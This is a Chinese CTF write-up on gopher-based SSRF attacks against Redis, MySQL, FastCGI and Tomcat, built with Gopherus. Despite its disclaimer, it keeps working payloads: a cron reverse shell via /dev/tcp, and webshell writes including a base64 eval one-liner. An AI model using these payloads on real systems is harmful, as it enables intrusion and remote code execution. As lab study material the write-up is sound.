安全声明:本文仅用于 CTF 学习与授权环境复现。
可直接运行的 PHP shell 示例已替换为<PHP_WEB_SHELL_PAYLOAD_OMITTED_FOR_SAFETY>。
对应十六进制 PHP payload 已替换为<HEX_ENCODED_PHP_PAYLOAD_OMITTED_FOR_SAFETY>。
文中的危险脚本文件名发布时统一改为output.txt,避免触发杀软或被误用为可执行脚本。
SSRF
信息收集
获取主机名
1 | file:///etc/hosts |

http://172.250.250.3?id=1'%2520union%2520select%2520NULL,NULL,NULL,’
gopher协议
GET

post
四个必须的参数即POST、Host、Content-Type和Content-Length。如果少了会报错的,而GET则不用
1 | POST /flag.php HTTP/1.1 |
1.url路径编码
2.二次编码,同时将%0A全部替换为%0D%0A。因为 Gopher协议包含的请求数据包中,可能包含有=、&等特殊字符,避免与服务器解析传入的参数键值对混淆,所以对数据包进行 URL编码,这样服务端会把%后的字节当做普通字节
3.最终完整url
1 | http://challenge-2cc48a18335efbf5.sandbox.ctfhub.com:10800/?url=gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Length%253A%252036%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250A%250D%250Akey%253D21ef36770f67a6ddf8809c5f14ab557f |
gopher协议记得在目标ip地址即host后面加一个占位符,不然会被吞掉第一个字符,推荐使用
_
{下划线}
SSRF之XXE
1 | <?xml version="1.0" encoding="UTF-8"?> |
将其附加至正常抓包页面下同时删去 Accept-Encoding 这一行,再将整体进行双重url编码
接着构造gopher协议即可
SSRF之SQL注入

再将ip后两次url编码
SSRF之mysql
1 | python2 gopherus.py --exploit mysql #启动 Gopherus 工具 |

结果
1 | gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%1d%00%00%00%03%73%65%6c%65%63%74%20%2a%20%66%72%6f%6d%20%73%65%63%75%72%69%74%79%2e%75%73%65%72%73%01%00%00%00%01 |
SSRF之tomcat
1 | <% |
将其附加至你的抓包页面下,同时再将整体进行双重url编码
接着构造gopher协议即可

redis
未授权webshell写入
1.虚拟机kali中
- cd ~/桌面/Gopherus
- 启动攻击模块:python2 gopherus.py –exploit redis
- 第一行输入攻击类型:PHPShell:生成一个 PHP WebShell 文件
ReverseShell:生成一个直接反弹 Shell 的 payload- 第二行输入路径:这个路径决定了 Redis 写入的恶意文件最终存储在服务器的哪个位置,需根据目标服务器的 Web 目录结构或可利用路径填写,才能让后续的恶意文件被有效访问和执行
/var/www/html- 第三行输入 WebShell 内容:
<?=$_GET[1]?>Gopherus 会自动将dbfilename(Redis 持久化文件名)设置为output.txt,配置完毕后Gopherus 工具会根据输入生成相应的 Gopher 协议有效载荷
2.再次编码后附加到url,显示此页面为504,没有关系,执行这段payload的目标就是在服务器根目录上传木马output.txt
3.列出目录
4.获取flag
1 | *1 |
每行都是以 \r 结尾的,但是 Redis 的协议是以 CRLF (\r\n) 结尾,所以转换的时候需要把 \r 转换为 \r\n,然后其他全部进行 两次 URL 编码
redis未授权ssh公钥写入
1.生成公钥
1 | ssh-keygen -t rsa |

2.构造,将密钥写入payload(记得前后各加两行换行以排除其他因素的干扰,同时长度记得加4)同时修改文件名和路径(要拥有root权限,不然写入不了)
最后记得修改长度
3.通过ssrf提交后重新登陆靶机发现不在需要密码了
定时任务反弹shell
1 | ip add #查看kali ip地址,我的是172.28.121.48 |

1.
1 | python2 gopherus.py --exploit redis |
启动攻击
2.选择Reverseshell
3.填写ip
1 | gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2468%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/172.28.121.48/1234%200%3E%261%22%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A |
接着监听端口
1 | nc -lvp 1234 |
在靶场修改主机名发送即可
FastCGL协议
1.在虚拟机kali中打开终端
- 命令行下载:git clone https://github.com/tarunkant/Gopherus.git
- cd ~/桌面/Gopherus
- 启动攻击模块:python2 gopherus.py –exploit fastcgi
- 第一行输入路径:启动 Gopherus 的 FastCGI 攻击模块后,工具会提示输入目标服务器上存在的 PHP 文件路径,输入之前获取的 PHP 文件路径,我们这里选中网站根目录下的index.php文件,路径如下为/var/www/html/index.php,这里通常选择网址中存在的文件
- 第二行输入要执行的命令:接下来工具提示输入要执行的命令,这是可以选择ls /或cat /flag等,工具会根据输入生成相应的 Gopher 协议有效载荷。我们这里选择使用在根目录上传木马文件ljn.php,如下 echo PD9waHAgQGV2YWwoJF9QT1NUWydtb295dWFuJ10pOz8+ | base64 -d >/var/www/html/ljn.php ————把编码后的一句话木马写到名为ljn.php的文件中
- 得到gopher:%2F%2F127.0.0.1:9000%2F_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2505%2505%2500%250F%2510SERVER_SOFTWAREgo%2520%2F%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP%2F1.1%250E%2503CONTENT_LENGTH137%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A%2F%2Finput%250F%2517SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Findex.php%250D%2501DOCUMENT_ROOT%2F%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%2589%2504%2500%253C%253Fphp%2520system%2528%2527echo%2520PD9waHAgQGV2YWwoJF9QT1NUWydtb295dWFuJ10pOz8%252B%2520%257C%2520base64%2520-d%2520%253E%2520%2Fvar%2Fwww%2Fhtml%2Fljn.php%2527%2529%253Bdie%2528%2527—–Made-by-SpyD3r—–%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500
2.在浏览器中将其附加在url后面
3.列出目录
4.获取flag